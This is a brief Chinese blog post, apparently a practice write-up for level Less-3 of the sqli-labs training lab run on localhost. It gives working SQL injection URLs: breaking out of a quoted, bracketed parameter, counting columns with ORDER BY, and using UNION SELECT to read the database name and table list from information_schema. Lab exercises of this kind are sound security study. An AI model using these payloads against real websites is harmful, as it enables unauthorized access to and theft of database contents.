Less-3

payload
http://127.0.0.1/Less-3/?id=1')--+
是OK的。
但是少了)就不行,它里面的SQL是怎么写的呢?
这个)有啥用哦......

哦,它有可能是子查询,所以要用到这个括号了。

我要在这个子查询里搞事情。
搞毛,不行,所以我就在子查询外搞了一波。

http://127.0.0.1/Less-3/?id=1') order by 4--+
error页面
http://127.0.0.1/Less-3/?id=1') order by 3--+
正确页面。
好了,开始进入正题:

一、数据库

http://127.0.0.1/Less-3/?id=1.11111') union select 1,database(),3--+

二、数据表

http://127.0.0.1/Less-3/?id=1.11111') union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3--+

就不继续了,重复的工作不想做,心累......

三、sqlmap

posted @ 2019-12-03 16:13  miniboom  阅读(156)  评论(0)    收藏  举报